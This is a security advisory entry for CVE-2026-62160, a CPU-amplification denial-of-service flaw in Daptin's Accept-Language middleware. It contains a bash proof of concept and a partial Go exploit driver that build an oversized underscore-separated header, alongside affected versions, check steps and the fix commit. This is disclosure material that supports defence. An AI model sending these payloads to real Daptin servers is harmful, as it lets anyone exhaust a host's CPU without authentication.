---
id: "CVE-2026-62160"
kind: "vulnerability"
aliases: ["CVE-2026-62160", "GHSA-rhj7-vh3v-mcq6"]
title: "Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware"
severity: "high"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/daptin/daptin", "fixed": [], "affected": "<= 0.12.15", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-400", "daptin", "go", "package", "self-hosted"]
not_affected_if: ["header-size-limited-proxy", "not-daptin", "patched-build"]
published_at: "2026-10-29T16:33:09+00:00"
first_seen_at: "2026-10-29T16:33:51+00:00"
updated_at: "2026-10-29T16:37:03+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-rhj7-vh3v-mcq6", "first_seen_at": "2026-10-29T16:33:51+00:00"}, {"source": "analyst", "url": null, "first_seen_at": "2026-10-29T16:37:03+00:00"}]
---

# Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware

Daptin's global language middleware parses every request's Accept-Language header with golang.org/x/text, and underscore-separated input skips that library's size guard. A single unauthenticated request with a 256 KiB header can consume 9 to 27 seconds of server CPU, so a small stream of requests can keep a host busy.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/daptin/daptin affected <= 0.12.15 fixed ?

## How to check

- Run 'daptin --version' or check the image tag. 0.12.15 and earlier 0.12.x are affected.
- Check go.mod for github.com/daptin/daptin at <= 0.12.15.
- Check that server/language.go caps '-' and '_' separators (commit 2d709509).
- Check whether port 8080 is reachable from untrusted networks.
- Test on a non-production copy: send a 256 KiB Accept-Language header built from '_abcdefghi' tokens. An unpatched build takes 9 to 27 s; a patched build answers in milliseconds.

## Fix

Fixed on master in commit 2d709509 (2026-06-25, 'Harden Accept-Language parsing'), which caps combined '-' and '_' separators before language.ParseAcceptLanguage. The advisory names no release number. Move to the latest release (v0.13.36 was newest on 2026-10-05, well after the commit) or build from master at 2d709509 or later. Which release first shipped the fix is unconfirmed.

## Timeline

- 2026-10-29T16:33:51+00:00 ghsa https://github.com/advisories/GHSA-rhj7-vh3v-mcq6
- 2026-10-29T16:37:03+00:00 analyst — Read the maintainer advisory text. It says fixed on master in 2d709509 (commit page linked). The fix release number is not stated; the Releases page shows v0.13.x releases from Sept/Oct, after the June commit, but I did not confirm which one first has the fix. Nothing was verified. No exploitation reported; the advisory includes a PoC. Severity unchanged.

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/daptin/daptin/security-advisories/GHSA-rhj7-vh3v-mcq6
- [advisory] Maintainer's advisory: github.com https://github.com/daptin/daptin/security/advisories/GHSA-rhj7-vh3v-mcq6
- [fix] Harden Accept-Language parsing (2d70950) https://github.com/daptin/daptin/commit/2d70950979b51eb6c8b4234dd50558b608ad2ffe

## From the sources

### Summary

Daptin's `LanguageMiddleware` (registered as a global gin middleware) calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.

### Affected versions

`github.com/daptin/daptin` v0.12.15 and (per code inspection of `master`) all earlier 0.12.x versions that wire `LanguageMiddleware` on the global gin router without imposing their own size limit on `Accept-Language`. Verified on:

- the official release binary `daptin-linux-amd64` v0.12.15 built into a Docker image from the project's own `Dockerfile` (E2E below)
- `master` at commit `b021ac4ae1f72b7401e851fcf883bc970303c794` by reading `server/language.go` (the middleware is unchanged)

### Privilege required

Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated `/api` style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.

### Vulnerable code

[`server/language.go`](https://github.com/daptin/daptin/blob/b021ac4ae1f72b7401e851fcf883bc970303c794/server/language.go) (blob SHA `b021ac4ae1f72b7401e851fcf883bc970303c794`):

```go
func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
    pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage)
    c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}

func GetLanguagePreference(header string, defaultLanguage string) []string {
    preferredLanguage := header

    if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" {
        preferredLanguage = defaultLanguage
    }

    languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)
    resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage)
    pref := make([]string, 0)
    prefMap := make(map[string]bool)

    if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage {
        // single tag matches default — skip
    } else {
        for _, tag := range languageTags {
            base, conf := tag.Base()
            if conf == 0 {
                continue
            }
            if prefMap[base.String()] == true {
                continue
            }
            prefMap[base.String()] = true
            pref = append(pref, base.String())
        }
    }
    return pref
}
```

`c.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

The `resource.CheckErr` call on the error path also formats the entire input string into a log line (`Failed to parse Accept-Language header [%v]`), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.

CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 256 KiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path.

### How `Accept-Language` reaches `ParseAcceptLanguage`

Every HTTP request that hits the Daptin API server passes through `LanguageMiddleware` (registered as a global gin middleware). The middleware sequence is:

1. The request enters `LanguageMiddlewareFunc`.
2. `c.GetHeader("Accept-Language")` returns the full attacker-supplied header value.
3. `GetLanguagePreference(header, defaultLanguage)` is called.
4. The function passes the unfiltered header into `language.ParseAcceptLanguage(preferredLanguage)`.

No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at `/` and the public API root at `/api`.

### Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile:

```bash
# Build daptin image (uses prebuilt linux/amd64 release binary)
cd daptin
curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64
chmod +x daptin-linux-amd64
docker build --platform linux/amd64 -t daptin-poc:v0.12.15 .

# Start it
docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15
sleep 8  # wait for sqlite migrations + Olric ring

# Attack with a 256 KiB header (smaller than the default 1 MiB ceiling
# because daptin's per-request cost saturates well below 1 MiB)
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18888/
```

Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²).

### End-to-end reproduction (against `daptin-linux-amd64` v0.12.15)

A Go driver `poc.go` boots the container, sends a 256 KiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):

```go
// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18888/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 120 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 256KiB)", buildPayload("-", 256*1024))
    send("attack ('_' x 256KiB)",     buildPayload("_", 256*1024))
    send("attack repeat 2",            buildPayload("_", 256*1024))
    send("attack repeat 3", 

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
